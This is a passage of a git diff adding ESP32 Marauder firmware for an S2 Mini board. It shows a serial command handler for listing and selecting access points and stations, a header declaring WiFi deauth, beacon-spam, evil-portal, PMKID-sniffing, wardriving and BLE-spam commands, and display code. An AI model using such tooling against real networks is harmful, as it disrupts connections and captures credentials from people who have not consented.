+ wifi_scan_obj.StartScan(BT_SCAN_SKIMMERS, TFT_MAGENTA);
+ #else
+ Serial.println("Bluetooth not supported");
+ #endif
+ }
+
+ // Update command
+ if (cmd_args.get(0) == UPDATE_CMD) {
+ //int w_sw = this->argSearch(&cmd_args, "-w"); // Web update
+ int sd_sw = this->argSearch(&cmd_args, "-s"); // SD Update
+
+ // Update via OTA
+ //if (w_sw != -1) {
+ // Serial.println("Starting Marauder OTA Update. Stop with " + (String)STOPSCAN_CMD);
+ // wifi_scan_obj.currentScanMode = OTA_UPDATE;
+ //#ifdef HAS_SCREEN
+ // menu_function_obj.changeMenu(menu_function_obj.updateMenu);
+ //#endif
+ // web_obj.setupOTAupdate();
+ //}
+ // Update via SD
+ if (sd_sw != -1) {
+ #ifdef HAS_SD
+ if (!sd_obj.supported) {
+ Serial.println("SD card is not connected. Cannot perform SD Update");
+ return;
+ }
+ wifi_scan_obj.currentScanMode = OTA_UPDATE;
+ sd_obj.runUpdate();
+ #else
+ Serial.println("SD card support disabled. Cannot perform SD Update");
+ return;
+ #endif
+ }
+ }
+ }
+
+
+ int count_selected = 0;
+ //// WiFi aux commands
+ // List access points
+ if (cmd_args.get(0) == LIST_AP_CMD) {
+ int ap_sw = this->argSearch(&cmd_args, "-a");
+ int ss_sw = this->argSearch(&cmd_args, "-s");
+ int cl_sw = this->argSearch(&cmd_args, "-c");
+
+ // List APs
+ if (ap_sw != -1) {
+ for (int i = 0; i < access_points->size(); i++) {
+ if (access_points->get(i).selected) {
+ Serial.println("[" + (String)i + "][CH:" + (String)access_points->get(i).channel + "] " + access_points->get(i).essid + " " + (String)access_points->get(i).rssi + " (selected)");
+ count_selected += 1;
+ }
+ else
+ Serial.println("[" + (String)i + "][CH:" + (String)access_points->get(i).channel + "] " + access_points->get(i).essid + " " + (String)access_points->get(i).rssi);
+ }
+ this->showCounts(count_selected);
+ }
+ // List SSIDs
+ else if (ss_sw != -1) {
+ for (int i = 0; i < ssids->size(); i++) {
+ if (ssids->get(i).selected) {
+ Serial.println("[" + (String)i + "] " + ssids->get(i).essid + " (selected)");
+ count_selected += 1;
+ }
+ else
+ Serial.println("[" + (String)i + "] " + ssids->get(i).essid);
+ }
+ this->showCounts(count_selected);
+ }
+ // List Stations
+ else if (cl_sw != -1) {
+ char sta_mac[] = "00:00:00:00:00:00";
+ for (int x = 0; x < access_points->size(); x++) {
+ Serial.println("[" + (String)x + "] " + access_points->get(x).essid + " " + (String)access_points->get(x).rssi + ":");
+ for (int i = 0; i < access_points->get(x).stations->size(); i++) {
+ wifi_scan_obj.getMAC(sta_mac, stations->get(access_points->get(x).stations->get(i)).mac, 0);
+ if (stations->get(access_points->get(x).stations->get(i)).selected) {
+ Serial.print(" [" + (String)access_points->get(x).stations->get(i) + "] ");
+ Serial.print(sta_mac);
+ Serial.println(" (selected)");
+ count_selected += 1;
+ }
+ else {
+ Serial.print(" [" + (String)access_points->get(x).stations->get(i) + "] ");
+ Serial.println(sta_mac);
+ }
+ }
+ }
+ this->showCounts(count_selected);
+ }
+ else {
+ Serial.println("You did not specify which list to show");
+ return;
+ }
+ }
+ // Select access points or stations
+ else if (cmd_args.get(0) == SEL_CMD) {
+ // Get switches
+ int ap_sw = this->argSearch(&cmd_args, "-a");
+ int ss_sw = this->argSearch(&cmd_args, "-s");
+ int cl_sw = this->argSearch(&cmd_args, "-c");
+ int filter_sw = this->argSearch(&cmd_args, "-f");
+
+ count_selected = 0;
+ int count_unselected = 0;
+ // select Access points
+ if (ap_sw != -1) {
+
+ // If the filters parameter was specified
+ if (filter_sw != -1) {
+ String filter_ap = cmd_args.get(filter_sw + 1);
+ this->filterAccessPoints(filter_ap);
+ } else {
+ // Get list of indices
+ LinkedList ap_index = this->parseCommand(cmd_args.get(ap_sw + 1), ",");
+
+ // Select ALL APs
+ if (cmd_args.get(ap_sw + 1) == "all") {
+ for (int i = 0; i < access_points->size(); i++) {
+ if (access_points->get(i).selected) {
+ // Unselect "selected" ap
+ AccessPoint new_ap = access_points->get(i);
+ new_ap.selected = false;
+ access_points->set(i, new_ap);
+ count_unselected += 1;
+ }
+ else {
+ // Select "unselected" ap
+ AccessPoint new_ap = access_points->get(i);
+ new_ap.selected = true;
+ access_points->set(i, new_ap);
+ count_selected += 1;
+ }
+ }
+ this->showCounts(count_selected, count_unselected);
+ }
+ // Select specific APs
+ else {
+ // Mark APs as selected
+ for (int i = 0; i < ap_index.size(); i++) {
+ int index = ap_index.get(i).toInt();
+ if (!this->inRange(access_points->size(), index)) {
+ Serial.println("Index not in range: " + (String)index);
+ continue;
+ }
+ if (access_points->get(index).selected) {
+ // Unselect "selected" ap
+ AccessPoint new_ap = access_points->get(index);
+ new_ap.selected = false;
+ access_points->set(index, new_ap);
+ count_unselected += 1;
+ }
+ else {
+ // Select "unselected" ap
+ AccessPoint new_ap = access_points->get(index);
+ new_ap.selected = true;
+ access_points->set(index, new_ap);
+ count_selected += 1;
+ }
+ }
+ this->showCounts(count_selected, count_unselected);
+ }
+ }
+ }
+ else if (cl_sw != -1) {
+ LinkedList sta_index = this->parseCommand(cmd_args.get(cl_sw + 1), ",");
+
+ // Select all Stations
+ if (cmd_args.get(cl_sw + 1) == "all") {
+ for (int i = 0; i < stations->size(); i++) {
+ if (stations->get(i).selected) {
+ // Unselect "selected" ap
+ Station new_sta = stations->get(i);
+ new_sta.selected = false;
+ stations->set(i, new_sta);
+ count_unselected += 1;
+ }
+ else {
+ // Select "unselected" ap
+ Station new_sta = stations->get(i);
+ new_sta.selected = true;
+ stations->set(i, new_sta);
+ count_selected += 1;
+ }
+ }
+ this->showCounts(count_selected, count_unselected);
+ }
+ // Select specific Stations
+ else {
+ // Mark Stations as selected
+ for (int i = 0; i < sta_index.size(); i++) {
+ int index = sta_index.get(i).toInt();
+ if (!this->inRange(stations->size(), index)) {
+ Serial.println("Index not in range: " + (String)index);
+ continue;
+ }
+ if (stations->get(index).selected) {
+ // Unselect "selected" ap
+ Station new_sta = stations->get(index);
+ new_sta.selected = false;
+ stations->set(index, new_sta);
+ count_unselected += 1;
+ }
+ else {
+ // Select "unselected" ap
+ Station new_sta = stations->get(index);
+ new_sta.selected = true;
+ stations->set(index, new_sta);
+ count_selected += 1;
+ }
+ }
+ this->showCounts(count_selected, count_unselected);
+ }
+ }
+ // select ssids
+ else if (ss_sw != -1) {
+ // Get list of indices
+ LinkedList ss_index = this->parseCommand(cmd_args.get(ss_sw + 1), ",");
+
+ // Mark APs as selected
+ for (int i = 0; i < ss_index.size(); i++) {
+ int index = ss_index.get(i).toInt();
+ if (!this->inRange(ssids->size(), index)) {
+ Serial.println("Index not in range: " + (String)index);
+ continue;
+ }
+ if (ssids->get(index).selected) {
+ // Unselect "selected" ap
+ ssid new_ssid = ssids->get(index);
+ new_ssid.selected = false;
+ ssids->set(index, new_ssid);
+ count_unselected += 1;
+ }
+ else {
+ // Select "unselected" ap
+ ssid new_ssid = ssids->get(index);
+ new_ssid.selected = true;
+ ssids->set(index, new_ssid);
+ count_selected += 1;
+ }
+ }
+ this->showCounts(count_selected, count_unselected);
+ }
+ else {
+ Serial.println("You did not specify which list to select from");
+ return;
+ }
+ }
+ else if (cmd_args.get(0) == SAVE_CMD) {
+ int ap_sw = this->argSearch(&cmd_args, "-a");
+ int st_sw = this->argSearch(&cmd_args, "-s");
+
+ if (ap_sw != -1) {
+ #ifdef HAS_SCREEN
+ menu_function_obj.changeMenu(&menu_function_obj.saveAPsMenu);
+ #endif
+ wifi_scan_obj.RunSaveAPList(true);
+ }
+ else if (st_sw != -1) {
+ #ifdef HAS_SCREEN
+ menu_function_obj.changeMenu(&menu_function_obj.saveSSIDsMenu);
+ #endif
+ wifi_scan_obj.RunSaveSSIDList(true);
+ }
+ }
+ else if (cmd_args.get(0) == LOAD_CMD) {
+ int ap_sw = this->argSearch(&cmd_args, "-a");
+ int st_sw = this->argSearch(&cmd_args, "-s");
+
+ if (ap_sw != -1) {
+ #ifdef HAS_SCREEN
+ menu_function_obj.changeMenu(&menu_function_obj.loadAPsMenu);
+ #endif
+ wifi_scan_obj.RunLoadAPList();
+ }
+ else if (st_sw != -1) {
+ #ifdef HAS_SCREEN
+ menu_function_obj.changeMenu(&menu_function_obj.loadSSIDsMenu);
+ #endif
+ wifi_scan_obj.RunLoadSSIDList();
+ }
+ }
+
+ // SSID stuff
+ else if (cmd_args.get(0) == SSID_CMD) {
+ int add_sw = this->argSearch(&cmd_args, "-a");
+ int gen_sw = this->argSearch(&cmd_args, "-g");
+ int spc_sw = this->argSearch(&cmd_args, "-n");
+ int rem_sw = this->argSearch(&cmd_args, "-r");
+
+ // Add ssid
+ if (add_sw != -1) {
+ // Generate random
+ if (gen_sw != -1) {
+ int gen_count = cmd_args.get(gen_sw + 1).toInt();
+ wifi_scan_obj.generateSSIDs(gen_count);
+ }
+ // Add specific
+ else if (spc_sw != -1) {
+ String essid = cmd_args.get(spc_sw + 1);
+ wifi_scan_obj.addSSID(essid);
+ }
+ else {
+ Serial.println("You did not specify how to add SSIDs");
+ }
+ }
+ // Remove SSID
+ else if (rem_sw != -1) {
+ int index = cmd_args.get(rem_sw + 1).toInt();
+ if (!this->inRange(ssids->size(), index)) {
+ Serial.println("Index not in range: " + (String)index);
+ return;
+ }
+ ssids->remove(index);
+ }
+ else {
+ Serial.println("You did not specify whether to add or remove SSIDs");
+ return;
+ }
+ }
+ // Join WiFi
+ /*else if (cmd_args.get(0) == JOINWIFI_CMD) {
+ int n_sw = this->argSearch(&cmd_args, "-n"); // name
+ int a_sw = this->argSearch(&cmd_args, "-a"); // access point
+ int s_sw = this->argSearch(&cmd_args, "-s"); // ssid
+ int p_sw = this->argSearch(&cmd_args, "-p");
+
+ String essid = "";
+ String pwx = "";
+
+ if (s_sw != -1) {
+ int index = cmd_args.get(s_sw + 1).toInt();
+ if (!this->inRange(ssids->size(), index)) {
+ Serial.println("Index not in range: " + (String)index);
+ return;
+ }
+ essid = ssids->get(index).essid;
+ } else if (a_sw != -1) {
+ int index = cmd_args.get(a_sw + 1).toInt();
+ if (!this->inRange(access_points->size(), index)) {
+ Serial.println("Index not in range: " + (String)index);
+ return;
+ }
+ essid = access_points->get(index).essid;
+ } else if (n_sw != -1) {
+ essid = cmd_args.get(n_sw + 1);
+ } else {
+ Serial.println("You must specify an access point or ssid");
+ return;
+ }
+
+ if (p_sw != -1) {
+ pwx = cmd_args.get(p_sw + 1);
+ }
+ Serial.println("Attempting to join WiFi with ssid " + (String)essid);
+ wifi_scan_obj.joinWiFi(essid, pwx);
+ }*/
+}
diff --git a/S2Mini_esp32_v1.0.0_marauder/CommandLine.h b/S2Mini_esp32_v1.0.0_marauder/CommandLine.h
new file mode 100644
index 0000000..c6be7e0
--- /dev/null
+++ b/S2Mini_esp32_v1.0.0_marauder/CommandLine.h
@@ -0,0 +1,196 @@
+#pragma once
+
+#ifndef CommandLine_h
+#define CommandLine_h
+
+#include "configs.h"
+
+#ifdef HAS_SCREEN
+ #include "MenuFunctions.h"
+ #include "Display.h"
+#endif
+
+#include "WiFiScan.h"
+//#include "Web.h"
+#ifdef HAS_SD
+ #include "SDInterface.h"
+#endif
+#include "settings.h"
+#include "LedInterface.h"
+
+#ifdef HAS_SCREEN
+ extern MenuFunctions menu_function_obj;
+ extern Display display_obj;
+#endif
+
+extern WiFiScan wifi_scan_obj;
+//extern Web web_obj;
+#ifdef HAS_SD
+ extern SDInterface sd_obj;
+#endif
+extern Settings settings_obj;
+extern LedInterface led_obj;
+extern LinkedList* access_points;
+extern LinkedList* ssids;
+extern LinkedList* stations;
+extern const String PROGMEM version_number;
+extern const String PROGMEM board_target;
+
+//// Commands
+
+// Admin
+const char PROGMEM CH_CMD[] = "channel";
+const char PROGMEM CLEARAP_CMD[] = "clearlist";
+const char PROGMEM REBOOT_CMD[] = "reboot";
+const char PROGMEM UPDATE_CMD[] = "update";
+const char PROGMEM HELP_CMD[] = "help";
+const char PROGMEM SETTINGS_CMD[] = "settings";
+const char PROGMEM LS_CMD[] = "ls";
+const char PROGMEM LED_CMD[] = "led";
+const char PROGMEM GPS_DATA_CMD[] = "gpsdata";
+const char PROGMEM GPS_CMD[] = "gps";
+const char PROGMEM NMEA_CMD[] = "nmea";
+
+// WiFi sniff/scan
+const char PROGMEM EVIL_PORTAL_CMD[] = "evilportal";
+const char PROGMEM SIGSTREN_CMD[] = "sigmon";
+const char PROGMEM SCANAP_CMD[] = "scanap";
+const char PROGMEM SCANSTA_CMD[] = "scansta";
+const char PROGMEM SNIFF_RAW_CMD[] = "sniffraw";
+const char PROGMEM SNIFF_BEACON_CMD[] = "sniffbeacon";
+const char PROGMEM SNIFF_PROBE_CMD[] = "sniffprobe";
+const char PROGMEM SNIFF_PWN_CMD[] = "sniffpwn";
+const char PROGMEM SNIFF_ESP_CMD[] = "sniffesp";
+const char PROGMEM SNIFF_DEAUTH_CMD[] = "sniffdeauth";
+const char PROGMEM SNIFF_PMKID_CMD[] = "sniffpmkid";
+const char PROGMEM STOPSCAN_CMD[] = "stopscan";
+const char PROGMEM WARDRIVE_CMD[] = "wardrive";
+
+// WiFi attack
+const char PROGMEM ATTACK_CMD[] = "attack";
+const char PROGMEM ATTACK_TYPE_DEAUTH[] = "deauth";
+const char PROGMEM ATTACK_TYPE_BEACON[] = "beacon";
+const char PROGMEM ATTACK_TYPE_PROBE[] = "probe";
+const char PROGMEM ATTACK_TYPE_RR[] = "rickroll";
+
+// WiFi Aux
+const char PROGMEM LIST_AP_CMD[] = "list";
+const char PROGMEM SEL_CMD[] = "select";
+const char PROGMEM SSID_CMD[] = "ssid";
+const char PROGMEM SAVE_CMD[] = "save";
+const char PROGMEM LOAD_CMD[] = "load";
+
+// Bluetooth sniff/scan
+const char PROGMEM BT_SPAM_CMD[] = "blespam";
+const char PROGMEM BT_SNIFF_CMD[] = "sniffbt";
+//const char PROGMEM BT_SOUR_APPLE_CMD[] = "sourapple";
+//const char PROGMEM BT_SWIFTPAIR_SPAM_CMD[] = "swiftpair";
+//const char PROGMEM BT_SAMSUNG_SPAM_CMD[] = "samsungblespam";
+//onst char PROGMEM BT_SPAM_ALL_CMD[] = "btspamall";
+const char PROGMEM BT_WARDRIVE_CMD[] = "btwardrive";
+const char PROGMEM BT_SKIM_CMD[] = "sniffskim";
+
+
+//// Command help messages
+// Admin
+const char PROGMEM HELP_HEAD[] = "============ Commands ============";
+const char PROGMEM HELP_CH_CMD[] = "channel [-s ]";
+const char PROGMEM HELP_CLEARAP_CMD_A[] = "clearlist -a/-c/-s";
+const char PROGMEM HELP_REBOOT_CMD[] = "reboot";
+const char PROGMEM HELP_UPDATE_CMD_A[] = "update -s/-w";
+const char PROGMEM HELP_SETTINGS_CMD[] = "settings [-s enable/disable>]/[-r]";
+const char PROGMEM HELP_LS_CMD[] = "ls ";
+const char PROGMEM HELP_LED_CMD[] = "led -s /-p ";
+const char PROGMEM HELP_GPS_DATA_CMD[] = "gpsdata";
+const char PROGMEM HELP_GPS_CMD[] = "gps [-g] \r\n [-n] \r\n [-b = use BD vs GB for beidou]";
+const char PROGMEM HELP_NMEA_CMD[] = "nmea";
+
+// WiFi sniff/scan
+const char PROGMEM HELP_EVIL_PORTAL_CMD[] = "evilportal [-c start [-w html.html]/sethtml ]";
+const char PROGMEM HELP_SIGSTREN_CMD[] = "sigmon";
+const char PROGMEM HELP_SCANAP_CMD[] = "scanap";
+const char PROGMEM HELP_SCANSTA_CMD[] = "scansta";
+const char PROGMEM HELP_SNIFF_RAW_CMD[] = "sniffraw";
+const char PROGMEM HELP_SNIFF_BEACON_CMD[] = "sniffbeacon";
+const char PROGMEM HELP_SNIFF_PROBE_CMD[] = "sniffprobe";
+const char PROGMEM HELP_SNIFF_PWN_CMD[] = "sniffpwn";
+const char PROGMEM HELP_SNIFF_ESP_CMD[] = "sniffesp";
+const char PROGMEM HELP_SNIFF_DEAUTH_CMD[] = "sniffdeauth";
+const char PROGMEM HELP_SNIFF_PMKID_CMD[] = "sniffpmkid [-c ][-d][-l]";
+const char PROGMEM HELP_STOPSCAN_CMD[] = "stopscan";
+const char PROGMEM HELP_WARDRIVE_CMD[] = "wardrive [-s]";
+
+// WiFi attack
+const char PROGMEM HELP_ATTACK_CMD[] = "attack -t ] [-d ]/probe/rickroll>";
+
+// WiFi Aux
+const char PROGMEM HELP_LIST_AP_CMD_A[] = "list -s";
+const char PROGMEM HELP_LIST_AP_CMD_B[] = "list -a";
+const char PROGMEM HELP_LIST_AP_CMD_C[] = "list -c";
+const char PROGMEM HELP_SEL_CMD_A[] = "select -a/-s/-c /-f \"equals or contains \"";
+const char PROGMEM HELP_SSID_CMD_A[] = "ssid -a [-g /-n ]";
+const char PROGMEM HELP_SSID_CMD_B[] = "ssid -r ";
+const char PROGMEM HELP_SAVE_CMD[] = "save -a/-s";
+const char PROGMEM HELP_LOAD_CMD[] = "load -a/-s";
+
+// Bluetooth sniff/scan
+const char PROGMEM HELP_BT_SNIFF_CMD[] = "sniffbt";
+const char PROGMEM HELP_BT_SPAM_CMD[] = "blespam -t ";
+//const char PROGMEM HELP_BT_SOUR_APPLE_CMD[] = "sourapple";
+//const char PROGMEM HELP_BT_SWIFTPAIR_SPAM_CMD[] = "swiftpair";
+//const char PROGMEM HELP_BT_SAMSUNG_SPAM_CMD[] = "samsungblespam";
+//onst char PROGMEM HELP_BT_SPAM_ALL_CMD[] = "btspamall";
+const char PROGMEM HELP_BT_WARDRIVE_CMD[] = "btwardrive [-c]";
+const char PROGMEM HELP_BT_SKIM_CMD[] = "sniffskim";
+const char PROGMEM HELP_FOOT[] = "==================================";
+
+
+class CommandLine {
+ private:
+ String getSerialInput();
+ LinkedList parseCommand(String input, char* delim);
+ String toLowerCase(String str);
+ void filterAccessPoints(String filter);
+ void runCommand(String input);
+ bool checkValueExists(LinkedList* cmd_args_list, int index);
+ bool inRange(int max, int index);
+ bool apSelected();
+ bool hasSSIDs();
+ void showCounts(int selected, int unselected = -1);
+ int argSearch(LinkedList* cmd_args, String key);
+
+ const char* ascii_art =
+ "\r\n"
+ " @@@@@@ \r\n"
+ " @@@@@@@@ \r\n"
+ " @@@@@@@@@@@ \r\n"
+ " @@@@@@ @@@@@@ \r\n"
+ " @@@@@@@ @@@@@@@ \r\n"
+ " @@@@@@ @@@@@@ \r\n"
+ " @@@@@@@ @@@@@@@ \r\n"
+ " @@@@@@ @@@@@@ \r\n"
+ "@@@@@@@ @@@@@@@@@@@@@@@@ \r\n"
+ "@@@@@ @@@@@@@@@@@@@@@ \r\n"
+ "@@@@@ @@@@@@@ \r\n"
+ "@@@@@ @@@@@@ \r\n"
+ "@@@@@@ @@@@@@@ \r\n"
+ " @@@@@@ @@@@@@@@@@@@\r\n"
+ " @@@@@@@ @@@@@@ \r\n"
+ " @@@@@@ @@@@@@ \r\n"
+ " @@@@@@@ @@@@@@ \r\n"
+ " @@@@@@ @@@@@@ \r\n"
+ " @@@@@@@ @@@@@@ \r\n"
+ " @@@@@@ @@@@@@ \r\n"
+ " @@@@@@@@@ \r\n"
+ " @@@@@@ \r\n"
+ " @@@@ \r\n"
+ "\r\n";
+
+ public:
+ CommandLine();
+
+ void RunSetup();
+ void main(uint32_t currentTime);
+};
+
+#endif
diff --git a/S2Mini_esp32_v1.0.0_marauder/Display.cpp b/S2Mini_esp32_v1.0.0_marauder/Display.cpp
new file mode 100644
index 0000000..d23776a
--- /dev/null
+++ b/S2Mini_esp32_v1.0.0_marauder/Display.cpp
@@ -0,0 +1,829 @@
+#include "Display.h"
+#include "lang_var.h"
+
+#ifdef HAS_SCREEN
+
+Display::Display()
+{
+}
+
+// Function to prepare the display and the menus
+void Display::RunSetup()
+{
+ run_setup = false;
+
+ // Need to declare new
+ display_buffer = new LinkedList();
+
+ #ifdef SCREEN_BUFFER
+ screen_buffer = new LinkedList();
+ #endif
+
+ tft.init();
+ #ifndef MARAUDER_M5STICKC
+ tft.setRotation(0); // Portrait
+ #endif
+
+ #ifdef MARAUDER_M5STICKC
+ tft.setRotation(1);
+ #endif
+
+ #ifdef MARAUDER_REV_FEATHER
+ tft.setRotation(1);
+ #endif
+
+ tft.setCursor(0, 0);
+
+ #ifdef HAS_ILI9341
+
+ #ifdef TFT_SHIELD
+ uint16_t calData[5] = { 275, 3494, 361, 3528, 4 }; // tft.setRotation(0); // Portrait with TFT Shield
+ //Serial.println(F("Using TFT Shield"));
+ #else if defined(TFT_DIY)
+ uint16_t calData[5] = { 339, 3470, 237, 3438, 2 }; // tft.setRotation(0); // Portrait with DIY TFT
+ //Serial.println(F("Using TFT DIY"));
+ #endif
+ tft.setTouch(calData);
+
+ #endif
+
+ //tft.fillScreen(TFT_BLACK);
+ clearScreen();
+
+ //Serial.println("SPI_FREQUENCY: " + (String)SPI_FREQUENCY);
+ //Serial.println("SPI_READ_FREQUENCY:" + (String)SPI_READ_FREQUENCY);
+ //Serial.println("SPI_TOUCH_FREQUENCY: " + (String)SPI_TOUCH_FREQUENCY);
+
+ #ifdef KIT
+ pinMode(KIT_LED_BUILTIN, OUTPUT);
+ #endif
+
+ #ifdef MARAUDER_REV_FEATHER
+ pinMode(7, OUTPUT);
+
+ delay(10);
+
+ digitalWrite(7, HIGH);
+ #endif
+}
+
+void Display::drawFrame()
+{
+ tft.drawRect(FRAME_X, FRAME_Y, FRAME_W, FRAME_H, TFT_BLACK);
+}
+
+void Display::tftDrawRedOnOffButton() {
+ tft.fillRect(REDBUTTON_X, REDBUTTON_Y, REDBUTTON_W, REDBUTTON_H, TFT_RED);
+ tft.fillRect(GREENBUTTON_X, GREENBUTTON_Y, GREENBUTTON_W, GREENBUTTON_H, TFT_DARKGREY);
+ drawFrame();
+ tft.setTextColor(TFT_WHITE);
+ tft.setTextSize(2);
+ tft.setTextDatum(MC_DATUM);
+ tft.drawString(text03, GREENBUTTON_X + (GREENBUTTON_W / 2), GREENBUTTON_Y + (GREENBUTTON_H / 2));
+ this->SwitchOn = false;
+}
+
+void Display::tftDrawGreenOnOffButton() {
+ tft.fillRect(GREENBUTTON_X, GREENBUTTON_Y, GREENBUTTON_W, GREENBUTTON_H, TFT_GREEN);
+ tft.fillRect(REDBUTTON_X, REDBUTTON_Y, REDBUTTON_W, REDBUTTON_H, TFT_DARKGREY);
+ drawFrame();
+ tft.setTextColor(TFT_WHITE);
+ tft.setTextSize(2);
+ tft.setTextDatum(MC_DATUM);
+ tft.drawString(text04, REDBUTTON_X + (REDBUTTON_W / 2) + 1, REDBUTTON_Y + (REDBUTTON_H / 2));
+ this->SwitchOn = true;
+}
+
+void Display::tftDrawGraphObjects(byte x_scale)
+{
+ //draw the graph objects
+ tft.fillRect(11, 5, x_scale+1, 120, TFT_BLACK); // positive start point
+ tft.fillRect(11, 121, x_scale+1, 119, TFT_BLACK); // negative start point
+ tft.drawFastVLine(10, 5, 230, TFT_WHITE); // y axis
+ tft.drawFastHLine(10, HEIGHT_1 - 1, 310, TFT_WHITE); // x axis
+ tft.setTextColor(TFT_YELLOW); tft.setTextSize(1); // set parameters for y axis labels
+ //tft.setCursor(3, 116); tft.print(midway); // "0" at center of ya axis
+ tft.setCursor(3, 6); tft.print("+"); // "+' at top of y axis
+ tft.setCursor(3, 228); tft.print("0"); // "-" at bottom of y axis
+}
+
+void Display::tftDrawEapolColorKey()
+{
+ //Display color key
+ tft.setTextSize(1); tft.setTextColor(TFT_WHITE);
+ tft.fillRect(14, 0, 15, 8, TFT_CYAN); tft.setCursor(30, 0); tft.print(" - EAPOL");
+}
+
+void Display::tftDrawColorKey()
+{
+ //Display color key
+ tft.setTextSize(1); tft.setTextColor(TFT_WHITE);
+ tft.fillRect(14, 0, 15, 8, TFT_GREEN); tft.setCursor(30, 0); tft.print(" - Beacons");
+ tft.fillRect(14, 8, 15, 8, TFT_RED); tft.setCursor(30, 8); tft.print(" - Deauths");
+ tft.fillRect(14, 16, 15, 8, TFT_BLUE); tft.setCursor(30, 16); tft.print(" - Probes");
+}
+
+void Display::tftDrawXScaleButtons(byte x_scale)
+{
+ tft.drawFastVLine(234, 0, 20, TFT_WHITE);
+ tft.setCursor(208, 21); tft.setTextColor(TFT_WHITE); tft.setTextSize(1); tft.print("X Scale:"); tft.print(x_scale);
+
+ key[0].initButton(&tft, // x - box
+ 220,
+ 10, // x, y, w, h, outline, fill, text
+ 20,
+ 20,
+ TFT_BLACK, // Outline
+ TFT_CYAN, // Fill
+ TFT_BLACK, // Text
+ "-",
+ 2);
+ key[1].initButton(&tft, // x + box
+ 249,
+ 10, // x, y, w, h, outline, fill, text
+ 20,
+ 20,
+ TFT_BLACK, // Outline
+ TFT_CYAN, // Fill
+ TFT_BLACK, // Text
+ "+",
+ 2);
+
+ key[0].setLabelDatum(1, 5, MC_DATUM);
+ key[1].setLabelDatum(1, 5, MC_DATUM);
+
+ key[0].drawButton();
+ key[1].drawButton();
+}
+
+void Display::tftDrawYScaleButtons(byte y_scale)
+{
+ tft.drawFastVLine(290, 0, 20, TFT_WHITE);
+ tft.setCursor(265, 21); tft.setTextColor(TFT_WHITE); tft.setTextSize(1); tft.print("Y Scale:"); tft.print(y_scale);
+
+ key[2].initButton(&tft, // y - box
+ 276,
+ 10, // x, y, w, h, outline, fill, text
+ 20,
+ 20,
+ TFT_BLACK, // Outline
+ TFT_MAGENTA, // Fill
+ TFT_BLACK, // Text
+ "-",
+ 2);
+ key[3].initButton(&tft, // y + box
+ 305,
+ 10, // x, y, w, h, outline, fill, text
+ 20,
+ 20,
+ TFT_BLACK, // Outline
+ TFT_MAGENTA, // Fill
+ TFT_BLACK, // Text
+ "+",
+ 2);
+
+ key[2].setLabelDatum(1, 5, MC_DATUM);
+ key[3].setLabelDatum(1, 5, MC_DATUM);
+
+ key[2].drawButton();
+ key[3].drawButton();
+}
+
+void Display::tftDrawChannelScaleButtons(int set_channel)
+{
+ tft.drawFastVLine(178, 0, 20, TFT_WHITE);
+ tft.setCursor(145, 21); tft.setTextColor(TFT_WHITE); tft.setTextSize(1); tft.print(text10); tft.print(set_channel);
+
+ key[4].initButton(&tft, // channel - box
+ 164,
+ 10, // x, y, w, h, outline, fill, text
+ 20,
+ 20,
+ TFT_BLACK, // Outline
+ TFT_BLUE, // Fill
+ TFT_BLACK, // Text
+ "-",
+ 2);
+ key[5].initButton(&tft, // channel + box
+ 193,
+ 10, // x, y, w, h, outline, fill, text
+ 20,
+ 20,
+ TFT_BLACK, // Outline
+ TFT_BLUE, // Fill
+ TFT_BLACK, // Text
+ "+",
+ 2);
+
+ key[4].setLabelDatum(1, 5, MC_DATUM);
+ key[5].setLabelDatum(1, 5, MC_DATUM);
+
+ key[4].drawButton();
+ key[5].drawButton();
+}
+
+void Display::tftDrawExitScaleButtons()
+{
+ //tft.drawFastVLine(178, 0, 20, TFT_WHITE);
+ //tft.setCursor(145, 21); tft.setTextColor(TFT_WHITE); tft.setTextSize(1); tft.print("Channel:"); tft.print(set_channel);
+
+ key[6].initButton(&tft, // Exit box
+ 137,
+ 10, // x, y, w, h, outline, fill, text
+ 20,
+ 20,
+ TFT_ORANGE, // Outline
+ TFT_RED, // Fill
+ TFT_BLACK, // Text
+ "X",
+ 2);
+
+ key[6].setLabelDatum(1, 5, MC_DATUM);
+
+ key[6].drawButton();
+}
+
+void Display::twoPartDisplay(String center_text)
+{
+ tft.setTextColor(TFT_BLACK, TFT_YELLOW);
+ tft.fillRect(0,16,HEIGHT_1,144, TFT_YELLOW);
+ //tft.drawCentreString(center_text,120,82,1);
+ tft.setTextWrap(true);
+ tft.setFreeFont(NULL);
+ //showCenterText(center_text, 82);
+ //tft.drawCentreString(center_text,120,82,1);
+ tft.setCursor(0, 82);
+ tft.println(center_text);
+ tft.setFreeFont(MENU_FONT);
+ tft.setTextWrap(false);
+}
+
+void Display::touchToExit()
+{
+ tft.setTextColor(TFT_BLACK, TFT_LIGHTGREY);
+ tft.fillRect(0,32,HEIGHT_1,16, TFT_LIGHTGREY);
+ tft.drawCentreString(text11,120,32,2);
+}
+
+
+// Function to just draw the screen black
+void Display::clearScreen()
+{
+ //Serial.println(F("clearScreen()"));
+ tft.fillScreen(TFT_BLACK);
+ tft.setCursor(0, 0);
+}
+
+#ifdef SCREEN_BUFFER
+void Display::scrollScreenBuffer(bool down) {
+ // Scroll screen normal direction (Up)
+ if (!down) {
+ this->screen_buffer->shift();
+ }
+}
+#endif
+
+void Display::displayBuffer(bool do_clear)
+{
+ if (this->display_buffer->size() > 0)
+ {
+ delay(1);
+
+ while (display_buffer->size() > 0)
+ {
+
+ #ifndef SCREEN_BUFFER
+ xPos = 0;
+ if ((display_buffer->size() > 0) && (!loading))
+ {
+ printing = true;
+ delay(print_delay_1);
+ yDraw = scroll_line(TFT_RED);
+ tft.setCursor(xPos, yDraw);
+ tft.setTextColor(TFT_GREEN, TFT_BLACK);
+ tft.print(display_buffer->shift());
+ printing = false;
+ delay(print_delay_2);
+ }
+ if (!tteBar)
+ blank[(18+(yStart - TOP_FIXED_AREA) / TEXT_HEIGHT)%19] = xPos;
+ else
+ blank[(18+(yStart - TOP_FIXED_AREA_2) / TEXT_HEIGHT)%19] = xPos;
+ #else
+ xPos = 0;
+ if (this->screen_buffer->size() >= MAX_SCREEN_BUFFER)
+ this->scrollScreenBuffer();
+
+ screen_buffer->add(display_buffer->shift());
+
+ for (int i = 0; i < this->screen_buffer->size(); i++) {
+ tft.setCursor(xPos, (i * 12) + (SCREEN_HEIGHT / 6));
+ for (int x = 0; x < TFT_WIDTH / CHAR_WIDTH; x++)
+ tft.print(" ");
+ tft.setCursor(xPos, (i * 12) + (SCREEN_HEIGHT / 6));
+ tft.setTextColor(TFT_GREEN, TFT_BLACK);
+ tft.print(this->screen_buffer->get(i));
+ }
+ #endif
+ }
